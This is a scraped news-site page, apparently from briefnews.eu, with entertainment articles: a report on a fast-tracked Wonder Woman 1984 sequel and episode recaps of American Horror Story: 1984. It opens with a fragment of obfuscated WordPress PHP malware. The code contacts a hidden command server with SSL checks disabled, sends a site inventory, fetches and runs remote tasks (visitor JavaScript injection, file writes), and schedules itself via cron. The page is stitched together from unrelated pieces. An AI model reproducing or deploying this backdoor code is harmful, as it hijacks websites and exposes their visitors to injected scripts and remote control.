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$len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); 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Wonder Woman is due for yet another spin, following the Gal Gadot-led film sequel’s solid performance both at the traditional (yet not) box office and with its simultaneous release on HBO Max.

Warner Bros. Pictures announced on Sunday that it has fast-tracked development on a follow-up to Wonder Woman 1984, which will be written by franchise vet Patty Jenkins, who is again attached to direct.

Amid mixed reviews, Wonder Woman 1984 lassoed the top pandemic-era domestic opening weekend for any feature film this year (with $ 16.7 million in box office), and to date worldwide has cumed $ 85 million. What’s more, its simultaneous release on HBO Max — the first franchise blockbuster to also get a day-and-date release on a streaming service — saw “nearly half of the first-year platform’s retail subscribers” (how ever many that may be, we do not know) cue up the film upon its Christmas Day arrival, reads a press release.

In addition, “millions of wholesale subscribers who have access to HBO Max via a cable, wireless or other partner services” tuned in for the sequel, in which Gadot’s Amazon princess battled two villains: wannabe oil tycoon Max Lord (The Mandalorian‘s Pedro Pascal) and Dr. Barbara Minerva aka Cheetah (SNL vet Kristen Wiig).

“Wonder Woman 1984 broke records and exceeded our expectations across all of our key viewing and subscriber metrics in its first 24 hours on the service, and the interest and momentum we’re seeing indicates this will likely continue well beyond the weekend,” WarnerMedia Direct-to-Consumer EVP Andy Forssell said in a statement. “During these very difficult times, it was nice to give families the option of enjoying this uplifting film at home, where theater viewing wasn’t an option.”

Not long after it slotted Wonder Woman 1984 for a simultaneous theatrical/streaming release, Warner Media boldly announced that its entire 2021 film slate (The Matrix 4 and The Suicide Squad included) would do same.

Were you among the millions who watched Wonder Woman 1984 on HBO Max this weekend? If so, what are your wishes and hopes for the threequel?

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]]> https://briefnews.eu/wonder-woman-1984-after-strong-bow-on-hbo-max-gets-fast-tracked-sequel/feed/ 0 AHS: 1984 Finale Recap: Who Got the ‘Happy Ending’ They Deserved? https://briefnews.eu/ahs-1984-finale-recap-who-got-the-happy-ending-they-deserved/ https://briefnews.eu/ahs-1984-finale-recap-who-got-the-happy-ending-they-deserved/#respond Thu, 14 Nov 2019 09:56:44 +0000 http://briefnews.eu/ahs-1984-finale-recap-who-got-the-happy-ending-they-deserved/

American Horror Story: 1984 reached its bloody conclusion on Wednesday with a massive time jump, a few oddly romantic twists and some well-deserved (not to mention thoroughly disgusting) justice.

First things first: That fan theory about Finn Wittrock playing a grown-up version of Jingles’ son was 100-percent correct. The finale began by jumping ahead to 2019, where Bobby Richter arrived at Camp Redwood — what was left of it, anyway — in search of answers about his father. As Montana explained, she hadn’t seen any newcomers since “that s–t show in ’89,” presumably referring to Margaret’s food and wine (and murder!) festival. In a somewhat surprising display of empathy, she then warned the handsome traveler that “everyone you see here is likely to kill you.”

Montana then introduced Bobby to Trevor, who was very disappointed (understandably so) to learn that aerobics has become “kind of a joke” in 2019. Trevor and Montana then returned the favor, disappointing Bobby by informing him that his father was dead. “He came here to do good, but dark forces took him away,” she explained. Bobby was sure that the anonymous checks he’d been receiving all his life were coming from his father, so he was pretty crushed by this news. Then again, the sudden discovery that he was in the presence of literal ghosts took his mind off of that pretty quickly.

Then came the real fun: We jumped back to Halloween 1989, where poor Courtney was the first to go. Margaret’s assistant informed her that Trevor was turning people away from the festival after learning of Kajagoogoo’s grim fate, sending her into such a blind rage that she literally shot the messenger. Margaret then turned her anger — and her gun — towards Trevor, shooting him in his baby elephant trunk and leaving him for dead outside of the campgrounds. (“Thanks for nothing, f–kface!”) Montana begged her beloved sex doll to crawl his way across the border, ensuring that they’d remain together for eternity, but he simply didn’t have the energy. Fortunately, Brooke showed up just in time to drag his dying body into camp because she’s a good person, damn it!

As Montana recalled, Brooke’s unexpected act of kindness changed everything. Not only did the ghosts formally end their killing spree, but they also took care of Margaret’s loose ends; they killed Bruce outside of Camp Redwood, ridding themselves of his goofy mustache for good, while Richard’s brutal demise went down in the confines of the camp. The ghosts have spent the last three decades keeping Richard at bay… until now. With the guards distracted — Chet just couldn’t resist Bertie’s seductive ways — Satan was able to intervene, freeing Richard from confinement and nearly killing Bobby once and for all.

Per a tip from the ghosts, Bobby ventured to Red Meadows Asylum, where Donna filled in a few blanks from Halloween 1989 — the night she became the final girl! After Brooke died (boo!) fighting Margaret, the ghosts teamed up against the nefarious camp director, literally cutting her limb from limb before tossing her various parts into a wood chipper. (It was gross. And glorious. But mostly gross.) After processing this heartwarming tale, Bobby thanked Donna for sending him the money. After all, who else could have been filling his bank account?

Well, it turns out Donna wasn’t the final girl. Brooke has been living undercover this whole time, eating Splenda by the barrel full with her handsome dermatologist husband. She barely survived her scuffle with Margaret, just enough that Ray was able to fix up her wound and send her on her way. “I needed to believe that a normal life was possible after Camp Redwood, a glimmer of hope after all that darkness,” Brooke told Bobby. “Your dad was that for me.” She said she sent him money so that he might be free of “that awful legacy.” Donna and Brooke also agreed to both be the final girl. (Yay!)

Then came the most unexpected twist of all: A happy ending. Bobby returned to Camp Redwood in search of his father (again!), and although Margaret nearly killed him in the process, he still got to give Papa Jingles a big ol’ hug. When Margaret made a brief comeback, Lavinia materialized to put her in her place. “Leave him alone,” she commanded. “He deserves a happy ending.” And so, Bobby departed Camp Redwood once and for all… with the ghosts of his father, grandmother and tiny uncle reunited… and Mike & The Mechanics’ “The Living Years” playing in the background. It was… lovely?

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Ready or not, Wednesday’s episode of American Horror Story (FX, 10/9c) marks the end of 1984, bringing the anthology series’ shortest season yet to an abrupt finish.

And like all seasons of AHS, we’re heading into this finale with a wish list of questions we need answered:

Who will be the final girl? | We’re starting with this question, since we’re pretty sure it’s the only one guaranteed to get an answer. Brooke, Donna and Margaret all seem like strong possibilities — mostly because they’re among the lucky few who haven’t already died — but given Horror Story‘s penchant for last-minute twists, isn’t it also possible that the final “girl” will actually be Richard? After all, it was mentioned in Hotel that Richard died of Leukemia in 2013, so doesn’t that mean he’s guaranteed to survive this finale?

What the Falchuk is that creature in the lake? | It’s worth noting that even though Mr. Jingles killed himself in Episode 7, he didn’t actually find “peace” until that freaky lake creature gobbled him up at the end of Episode 8. Coincidence? Who the heck knows. (Many fans are speculating that the lake creature is Bobby, the brother Jingles let drown at Camp Golden Star. Frankly, that guess is as good as any at this point.)

What’s the secret to finding “peace”? | So far, the only characters who have managed to find any form of happiness in the afterlife are Jingles, Lavinia and Bobby. When Jingles asked her how he can move on, Lavinia offered this vague explanation: “The past will haunt you forever if you let it.” But did that really explain anything?

How can Lavinia’s “blood curse” be broken? | This question sort of piggybacks off the last one, but it also involves the other spirits still trapped within the confines of Camp Redwood. What will it take to free them from their eternal prison? Montana seems confident that if everyone waits long enough, someone with the necessary abilities will show up to save the day. But that individual would need to survive long enough to help, which doesn’t exactly vibe with the ghosts’ kill-first-ask-questions-never approach to newcomers. (Another popular fan theory is that the 1984 finale is going to give us a major time jump before introducing Finn Wittrock as the grown-up version of Jingles’ son.)

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The penultimate episode of American Horror Story: 1984 set the stage for a massive Camp Redwood reunion, with everyone — be they alive, dead or merely presumed dead — returning to the scene of the crime(s) for one final showdown.

Let’s begin with Brooke and Donna. When a reporter for The National Enquirer, who happened to be writing a true-crime book about Mr. Jingles, tracked the ladies down at a shady motel, Brooke made her an offer she couldn’t refuse: If she agreed to keep their whereabouts a secret, Brooke would deliver proof that Margaret was the murderous mastermind behind the massacres. What she didn’t mention, however, was that she planned on killing the reporter before she had a chance to write a single word of her story. And were it not for Donna intervening at the last minute, she totally would have.

Meanwhile, a recently deceased Jingles roamed the woods in search of Richard, still determined to exact his revenge. And he probably would have succeeded were it not for Bruce coming out of nowhere and hitting him with the hot pink car he stole from the Mary Kay saleswoman he killed.

Richard wasn’t thrilled to learn that Jingles had already killed himself, leaving him to craft a new evil scheme: “I’m going to Alaska and I’m going to cut your boy into little pieces,” he said. “Killing your son will be my final revenge!” His tirade was rudely interrupted by Margaret, who arrived on the scene and shot Jingles dead. Again. (Honestly, that hitchhiker wasn’t exaggerating. I’m already having trouble keeping count of Jingles’ mounting deaths.)

Now, here’s where things got interesting: After his body was taken out to the lake and devoured by a swamp creature, Jingles awoke once again, this time in a remote location with his mother and brother. “The past will haunt you forever if you let it,” Lily Rabe’s character told him when he asked how he can move on. “We’re a family here. This is where you can find peace.”

Oh, and remember the reporter that Brooke nearly murdered earlier in the episode? She attempted to escape the campgrounds, but like so many people before her, she was captured and killed by Richard and Bruce. And the bloodshed is far from over; Margaret instructed her dead henchmen to murder every act at the festival — except Billy Idol, per Richard’s request — thus turning Camp Redwood into an extremely profitable destination for ’80s rock fans looking for an expensive place to mourn their fallen favorites.

Also worth discussing…

* Am I completely insane, or is Montana slowly evolving into a sympathetic character? I’m beginning to find myself genuinely invested in her relationship with Trevor — who basically loves her because she’s an eternal embodiment of all things ’80s, from cocaine to aerobics classes. When she told Trevor, “I’m not someone you can love, much less die for. I’m a monster,” I felt that.

* I knew this would be Horror Story‘s shortest season yet, but I truly cannot believe we’ve already arrived at the finale. Hey, at least next week’s episode will include the long-overdue return of Finn Wittrock:

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]]> https://briefnews.eu/ahs-1984-recap-who-found-peace-and-who-is-finn-wittrock-playing/feed/ 0 AHS: 1984 Recap: Sins of the Mother (Plus, Who Created the ‘Blood Curse’?) https://briefnews.eu/ahs-1984-recap-sins-of-the-mother-plus-who-created-the-blood-curse/ https://briefnews.eu/ahs-1984-recap-sins-of-the-mother-plus-who-created-the-blood-curse/#respond Thu, 31 Oct 2019 06:35:42 +0000 http://briefnews.eu/ahs-1984-recap-sins-of-the-mother-plus-who-created-the-blood-curse/ Wednesday’s American Horror Story welcomed back two popular players from previous seasons, though no one in 1984 was particularly happy to see them.

AHS: 1984 Lily RabeThe episode began with a look back at Jingles’ childhood trauma. In the summer of 1948, Benjamin Richter was just a chubby youngster at Camp Golden Star, where his mom (special guest star Lily Rabe!) worked as the camp’s miserable head cook. When she wasn’t feeding hungry campers, she was berating poor Benjamin for his antisocial tendencies.

And her love for him only diminished further when Benjamin failed to save his brother Bobby from getting caught in the engine of a motorboat. (In Benjamin’s defense, he got distracted watching the camp lifeguard having sex with some girl in the woods. And you know what? I probably would have done the same.)

We then returned to the “present,” where Donna was helping Brooke readjust to life among the living. After working through the side effects of her injection, Brooke had a new lease on life, especially once she caught wind of Margaret’s impending festival at Camp Redwood. “I do have a reason to live,” Brooke declared, “and it’s to see her die!” It’s also becoming very apparent that this is Margaret’s version of Fyre Festival, and that’s just wonderful.

American Horror Story Dylan McDermottUnfortunately, Donna and Brooke didn’t head back to camp alone; they were joined by Bruce (Dylan McDermott), a smooth-talking mustachioed gentleman who turned out to be a wanted serial killer. (On this show? Color me shocked.) And the more they tried to escape him, the worse their situation became. (Again, on this show? You. Don’t. Say.) After some Death Proof-level torture, Brooke and Donna managed to get the jump on Bruce, tying him to a roadside poll and cutting off a few of his fingers for good measure.

Jingles also made his way back to Camp Redwood, where he answered the dead counselors’ burning questions about why their souls are seemingly tethered to this godforsaken summer camp. As Jingles recalled, the “blood curse” began when his own mother slaughtered the counselors she held responsible for Bobby’s death. She also came after him, but he got the upper hand and killed her, at which point she became the first spirit trapped on the grounds.

Jingles arranged for a reunion with his momster, which somehow went even worse than I anticipated. She took way too much pleasure in revealing that she’s been instrumental in his undoing since Day 1. She’s even the reason Margaret went on her original killing spree back in 1970! “I took the one thing you cared about and I used it to destroy you,” Mama Jingles explained. “The wrong son died that day — it should have been you!” And if you thought the mother and son were going to make up after this, you must be new to American Horror Story. Instead, Jingles’ mother convinced him that the only way to defeat Richard and save his son was to kill himself… which is exactly what he did.

And just to complicate the story even further, we learned that Kajagoogoo — one of the bands slated to perform at Margaret’s festival — only achieved its fame by signing a deal with the devil, one Richard came to collect on this week. Cut to Leslie Jordan (sorry, “Courtney”) screeching at the discovery of a tour bus full of bloody corpses.

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]]> https://briefnews.eu/ahs-1984-recap-sins-of-the-mother-plus-who-created-the-blood-curse/feed/ 0 AHS: 1984 Recap: Death Becomes Her (Plus, a Surprise Asylum Connection!) https://briefnews.eu/ahs-1984-recap-death-becomes-her-plus-a-surprise-asylum-connection/ https://briefnews.eu/ahs-1984-recap-death-becomes-her-plus-a-surprise-asylum-connection/#respond Thu, 24 Oct 2019 04:54:47 +0000 http://briefnews.eu/ahs-1984-recap-death-becomes-her-plus-a-surprise-asylum-connection/ American Horror Story‘s 100th episode scared up a few celebratory surprises on Wednesday, including a fun connection to a previous season, the return of a fan-favorite performer and, of course, more twists than you could shake Trevor’s baby elephant trunk at.

The episode began with a flash-forward to 1985, where we joined Richard and Jingles’ killing spree already in progress. Jingles was beginning to question their murderous way of life, and in a perfect world, I feel like the two serial killers could have settled down Bert and Ernie-style in a nice quiet suburb. Sadly, Richard’s bloodlust — much like Ernie’s — was simply too strong, so he forced poor Jingles to keep cracking skulls. That is, until Jingles got the brilliant idea to expose Richard, resulting in him getting beaten to bloody pulp in the city streets by a mob of angry citizens.

AHS: 1984 RecapWe then jumped to 1989, at which point things got truly insane. Like, coked-up Dynasty levels of crazy. While Xavier and Montana were gleefully murdering anyone foolish enough to stumble into Camp Redwood, Margaret was building a real estate empire by turning infamous horror sites — including Briarcliff Manor! — into profitable tourist attractions. And Trevor, who apparently survived his brush with death, agreed to marry Margaret and reap the benefits of the good life. Besides, as Margaret pointed out, “They can’t make you testify against your spouse.”

That’s when the show’s 100th episode blessed us with a familiar face: Leslie Jordan (as Margaret’s assistant Courtney) arrived to inform his boss that Brooke lost her last appeal and was set to be executed. And speaking of familiar faces, who did Brooke reunite with in prison? Why, none other than Richard, who was horrified to hear what Brooke had done to Montana. “I gutted that bitch from the inside out,” she told him, “and now she’s in hell, licking Satan’s balls.” Richard’s response, naturally, was that that Montana “should be so lucky!”

Richard threw Brooke a lifeline of sorts, explaining that she could survive her trip to the electric chair if she agreed to accept Satan as her master. (A fairly simple exchange by American Horror Story‘s standards, if I’m being honest.) But Brooke refused his offer with a simple “f–k off,” leaving her to walk the green mile without an assist from the man downstairs.

Before receiving her lethal injection, Brooke took one last opportunity to confront Margaret — whom she correctly assumed was watching from behind the two-way mirror — and offered a friendly warning: “You are going to burn for wanting to watch me die.” (Yeah, for that and the million other atrocities she’s committed.) But Brooke’s plan to die with dignity was sidelined by Donna, who snuck into the facility and brought her back to life in the episode’s final moments.

Meanwhile, Margaret took advantage of the recent murders at Camp Redwood by returning to her old stomping — er, stabbing — grounds to throw an expensive food and wine festival for rich, thrill-seeking idiots. In addition to a performance from the one and only Billy Idol, guests were also promised “plenty of spooky and bloody surprises.” (Um… Can someone please explain to me how any of that was a draw?)

Now let’s go back to Mr. Jingles, who managed to do a full 180 with his life, starting anew in Alaska with a wife and son. He assured his new bride that he had moved on from the events of Camp Redwood, that he was free. Or so he thought. After coming home one night to find his wife murdered — possibly by Richard, who received a ‘get out of jail free’ card from Satan — Jingles snapped. He dropped the baby off with his wife’s sister, muttered something about how darkness will always follow him, then stumbled off into the night in full serial-killer garb. You know, just another casual interaction between in-laws.

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The sun finally rose on Wednesday’s episode of American Horror Story: 1984, and what those poor children witnessed upon arriving at Camp Redwood will scar them for life.

This week’s party got started with a flashback to 1980, the year Donna Chambers watched her father kill himself in front of her. And this wasn’t your run-of-the-mill traumatic suicide, either. Poor Donna walked in on him moments after he gutted his presumed mistress (who was still convulsing with her entrails strewn about the bed, just in case you needed a little more color to this story).

“You were never supposed to know this side of me,” Donna’s father explained. It turns out that Papa Chambers had been murdering women for as far back as he could remember, something about having an insatiable hunger for evil… I don’t know, I was too distracted by the woman’s vital organs pulsing to the beat of “Knock on Wood” mere feet away from this conversation.

Poor Donna — or “DeeDee” as her serial-killer father called her — insisted that no one is born with that kind of darkness, and that she could use her psychology powers to heal him of this heinous impulse. Yet he maintained, “I was born with this, and I’ll die with it.” And he did exactly that, plunging a knife into his neck and grabbing an express elevator to hell.

The next time DeeDee saw her daddy was in 1984. She didn’t even have time to process Richard’s apparent revival (“I was reborn — dead, then raised up by the Unholy One himself”) before her father appeared in ghostly form to lure her to the dark side. “Evil is born,” he sid. “And you are the fruit of its seed.” It wasn’t the greatest sentiment, but as far as father-daughter threats go, it was kind of poetic.

That’s when the episode suddenly got… romantic? Brooke discovered Ray — you know, the guy whose head fell off a few weeks ago — walking through camp, disoriented and completely unaware of how he got there. They found shelter in the dining hall, where Brooke opened up to him about her checkered past, before really opening up to him.

AHS: 1984 RecapAfter losing her virginity to a ghost — which is the most American Horror Story-appropriate sentence I’ve ever typed — Brooke looked to quench her thirst with something from the fridge, only to discover Ray’s severed head literally chilling on the top shelf. This sent her running scared to Montana, who had officially run out of f–ks. She told Brooke everything, including that she sent Richard to kill her, setting the stage for an epic fight to the death.

As the sun rose over Camp Redwood, a bus full of excited campers arrived just in time to see a blood-soaked Brooke standing over Montana’s lifeless body. Given the optics, you can’t exactly blame the police for taking Brooke into custody, nor can you blame Richard and Jingles for stealing a cop car and road-tripping to Los Angeles. (They’re bad guys, it’s what they do.)

Ray, on the other hand, wasn’t so lucky. He was successfully loaded into an ambulance, but the minute it crossed the camp entrance, he found himself back on the road. “I just wanted to go home,” he lamented, to which a familiar voice replied, “You are home.” It was the hitchhiker!

The duo then joined Montana — well, the ghost of Montana — who had just shot a cop in cold blood. When they tried to wag a finger at her, she finally dropped the P-word, telling them, “You guys are doing this purgatory thing all wrong. We can be gods here!” So, there you have it, folks. Lest there be any doubt, Camp Redwood is purgatory.

AHS: 1984 RecapAlso worth discussing…

* Chet joined Trevor in hot-guy heaven after going on a particularly tragic moonlit boat ride with Margaret. Given the events of the evening, she suggested that Chet make peace with God while he still has time, an offer he less-than-politely declined. His insolence was met with an oar to the face and a burial at sea. Well, a burial at lake.

* Xavier also met a gnarly death at Margaret’s hand, but not before (temporarily) saving the day by pelting Jingles with a series of well-aimed arrows. His heroic moment was even punctuated by a cheesy ’80s finishing line: “When you put me in that oven, you cooked up your worst nightmare, a–hole!”

* Lastly, we need to talk about this promo for next week’s 100th (!) episode. Are we merely being baited with these quick cuts from seasons past, or do we think there might be some sort of full-circle twist in the cards? Give it a play:

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As promised, Wednesday’s episode of American Horror Story: 1984 revealed how Montana and Richard first crossed paths, but in true AHS fashion, it also revealed so much more. (Arguably too much, depending on how you feel about feet.)

The origin of this unlikely pairing is actually fairly simple; Richard wandered into one of Montana’s coke-fueled aerobics classes, immediately bonded over their shared love of deadly knives, then murdered one of her students because, as he explained it, “I didn’t like the way he was talking to you.”

A normal person would be appalled — horrified, even — by this senseless act of violence. But not Montana. “That’s the most f–ked up thing anyone has ever done for me,” she said. “That’s so hot.” Richard, naturally, took this as an invitation to lick Montana’s bloody feet, which she also seemed to enjoy quite a bit.

Then came some bloody pillow talk, during which Montana asked Richard to kill Brooke because — wait for it — her brother was the best man at Brooke and Joey’s wedding! “I know Brooke f–ked my brother and lied,” Montana said. “Why does she get to live while he’s gone?”

With those blanks sufficiently filled in, we returned to present-day Camp Redwood, where Montana and Richard were scrambling to track down Brooke and beach Mr. Jingles to the punch. They ended up finding her at the exact same time, which was fortunate for Brooke, as it allowed her to escape while Richard and Jingles fought to the death. (Well, they fought to Richard’s death, which came courtesy of a tree branch through the head.)

AHS: 1984 RecapEarlier in the hour, Mr. Jingles paid a visit to the dining hall, where Xavier got Hansel and Gretel’d (aka locked in an oven). And unlike the sex tape he filmed for Blake, it was not a pretty picture. Chef Bertie, another of Jingles’ victims, used her last ounce of strength to free Xavier from his pre-heated death trap, a favor he repaid by jamming a knife straight into her heart. (On this show, a merciful death is still considered a win.)

The next game-changing — if somewhat predictable — reveal came during Jingles’ long-awaited reunion with Margaret. We learned through a series of flashbacks that Margaret and “Benji” were quite chummy back in 1970; he even carved her a little wooden bear and promised to protect her. But when he failed to keep the other counselors from bullying Margaret, she took matters into her own hands, killing them all and blaming it on her beloved Benji.

Jingles’ response to this confession was simple: “F–k you, Margaret. I am the monster that you made me!” He lunged for her, but we all know that this glamorous lunatic is packing heat, so Mr. Jingles was dead on the floor before he could make good on his threat. (Spoiler alert: Jingles actually survived being shot, and he managed to sneak away while this next bit of nonsense was going down.)

Enter Trevor, who was ecstatic to discover that Margaret had taken care of Jingles… until she knifed him in the stomach, among other vital organs. “God has given me the strength to accept my true self,” Margaret declared before dumping Trevor’s body into a car and lighting it on freaking fire. Ladies and gentleman, this woman is even more insane than we all assumed.

And speaking of insane, Rita — excuse me, Donna Chambers — regained consciousness in the woods just in time to witness Richard returning from the dead. Floating body, soulless black eyes, the whole nine yards. You know, stuff you see in the woods!

Time to weigh in: Which of this week’s reveals surprised you the most (if at all)? And where do you think this season is really headed? Drop a comment with your thoughts and theories below.

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]]> https://briefnews.eu/ahs-1984-recap-making-a-murderer/feed/ 0 AHS: 1984 Recap: Everybody Hates Ray (Plus, Who’s Shtupping the Stalker?) https://briefnews.eu/ahs-1984-recap-everybody-hates-ray-plus-whos-shtupping-the-stalker/ https://briefnews.eu/ahs-1984-recap-everybody-hates-ray-plus-whos-shtupping-the-stalker/#respond Thu, 03 Oct 2019 04:07:16 +0000 http://briefnews.eu/ahs-1984-recap-everybody-hates-ray-plus-whos-shtupping-the-stalker/

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As if Mr. Jingles and the Night Stalker weren’t enough to contend with, Wednesday’s AHS: 1984 revealed another pair of troublemakers lurking at Camp Redwood.

First, it turns out that “Nurse Rita” is actually Donna Chambers, a psychologist who helped Mr. Jingles (aka Benjamin Richter) escape in order to study him in his natural habitat, the site of his infamous 1970 killing spree. You see, Donna doesn’t believe that anyone is necessarily born evil. She admits that everyone has the capacity to do good or bad things, but that the urge to murder “needs to be activated by outside circumstances.” She also subscribes to the Ted Bundy philosophy that pornography has sullied men’s minds, causing them to objectify women to a dangerous — even deadly — extent. Benjamin, meanwhile, blames his killer instinct on all the high-fructose corn syrup he’s consumed.

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(Side note: Do we really think that Donna sat down with all of the serial killers she mentioned, including Bundy, John Wayne Gacy, William Bonin, Patrick Kearney and Robert “the Butcher Baker” Hansen? I’m having a hard time gauging how full of crap she is.)

The real Nurse Rita, an Ashley Benson look-alike if ever there was one, spent days bound and gagged under a tarp at Camp Redwood until some of the counselors discovered her this week while hiding from Mr. Jingles. Terrified and confused, she made a desperate attempt to flee, but couldn’t even exit the cabin before Mr. Jingles impaled her through the head with a splintered oar.

AHS: 1984 RecapMeanwhile, Chet and Ray’s escape took a major detour when they tumbled into a ditch, where poor hot Chet was impaled through the chest by a big-ass spike. With their collective demise seemingly imminent, a panicked Ray confessed his darkest secret: During his junior year of college, he witnessed the accidental death of a pledge during Hell Week. Rather than face potential consequences, Ray opted to put the pledge back into his car and push it over a ledge. It was a solid, if completely amoral, plan… until Ray realized that the pledge was still alive! Unfortunately, it was too late to stop the pledge from rolling down the hill to his death. And just when you didn’t think Ray could be any more of a garbage person, he climbed out of the ditch and left poor hot Chet for dead.

Fear not, though — Xavier and Trevor eventually stumbled upon poor hot Chet and rescued him from certain doom, taking down one of Mr. Jingle’s bumbling copycats in the process. (“His knife against these guns!” was a hell of a way to rush into that battle. I salute Trevor.)

Now, for the week’s biggest twist: Ray and Montana encountered the Night Stalker in the parking lot, but rather than helping her fight, Ray took off on a motorcycle… and was promptly beheaded by Mr. Jingles. (R.I.P., you untrustworthy garbage person!) Back in the parking lot, Montana and Richard started… making out?! The episode ended with Montana staring him down, asking, “Why haven’t you killed her yet?” and everything we’ve ever known is a lie.

Time to discuss: Were you expecting Ray to be the season’s first (counselor) victim? And what do you make of Montana and Richard’s bizarre exchange? Drop a comment with all of your thoughts and theories below.

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There’s a moment in every season of American Horror Story when you discover that all is not as it seems. For AHS: 1984, that moment came in Episode 2, when the Night Stalker encountered Jonas — that handsome hitchhiker-turned-roadkill we met last week — and proceeded to gut him like a damn tauntaun. But wait just a Ryan Murphy Minute here… Didn’t Mr. Jingles already kill Jonas last week? Cue the twist!

Before being murdered for the second time this season, Jonas seemed very surprised to see the Night Stalker (aka Richard Ramirez) in the woods. “You’re not supposed to be here,” Jonas told him. “Wait, I don’t die here!” And because guys like Richard love being told what’s what, he proved Jonas wrong with another bloody, gruesome death. And that wasn’t even the last time Richard would kill Jonas this week! Seriously, some guys just don’t know how to stay dead.

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We didn’t technically get an explanation for Jonas’ mysterious, Kenny McCormick-like resurrections, but we did get a butt load of clues. Jonas apparently died at Camp Redwood for the first time in 1970, the night of Mr. Jingles’ infamous killing spree. He remembers seeing Margaret covered in blood, but he was too scared to help her, so he ran into the woods… where Mr. Jingles ran him over and ripped him to shreds. Though an official verdict has yet to be rendered, let’s just go with Margaret’s theory about Jonas’ condition for now: “There are ghosts in the Bible, and you’re here, so they must be real.”

Speaking of Margaret’s insane religious views, boy did we get a frightening look into her psyche this week. While patching up Richard’s wounds in her stunning cabin, Margaret listened to his tragic tales of childhood trauma. (He was poisoned at birth due to his mother inhaling chemicals at work while she was pregnant, he developed a seizure-inducing condition after being hit on the head by a swing, and he witnessed way more murder than any growing boy should.) Margaret explained that this was all part of God’s plan to bring them together, and that you can do whatever you want in life as long as you have two things: God and trauma. “You can use him to explain why you did something,” she said. “Even something horrible.”

(Theory time: Does anyone else suspect that Margaret, in all her self-righteous purity, was the one responsible for the 1970 massacre? Witnessing that threesome could have been just the thing to set her off, especially now that we know she condones violent behavior for the “right” reasons. As for Jonas, he recalled seeing Margaret covered in blood, but did he actually see Mr. Jingles slaughter the others?)

Elsewhere this week…

* Speaking of trauma, Brooke revealed that she’s experienced her own share of American Horror Stories in life, the worst of which being the time her jealous fiancé murdered their entire wedding party (and himself) on their big day. It should also be noted that Montana was super supportive of her new friend, explaining, “A stranger once grabbed my boob outside a Sam Goody, so I get it. Trauma’s a bitch.” Montana also recalled her own trauma of being sent to fat camp as a kid, where she learned to “nom and vom.” Oh, and then she tried to make out with Brooke.

* We also discovered who was on the other end of Xavier’s bizarre phone call last week. It was his sugar daddy (!) Blake, who apparently helped Xavier turn his life around after discovering him strung out in MacArthur Park. Blake’s a real charmer (“You’re as dumb as you are pretty”) and apparently convinced “not gay” Xavier to participate in a gay-for-pay video, one he’s not proud of. When Blake surprised his star performer at Camp Redwood and demanded he record another tape, Xavier offered him one of the other counselors in exchange, even doing Blake the courtesy of drilling a hole in the fence around the men’s showers. And Blake was very impressed with what he saw, especially Trevor’s baby elephant trunk. (“That’s no cock. It’s an act of God!”) Sadly, it was also the last thing he would ever see, as someone — presumably Mr. Jingles — stabbed him through the head, killing him instantly.

* Let’s also pour one out for Karen, the head of the psychology department from which Mr. Jingles escaped. She immediately hauled ass to Camp Redwood, both to inform Margaret of Mr. Jingles’ whereabouts and to casually remind her that he’s still obsessed with exacting his revenge against her. And like all good snitches, Karen was dead before the opening credits began.

Your thoughts on this week’s AHS: 1984? And what are your theories about this Jonas situation? Drop ’em in a comment below.

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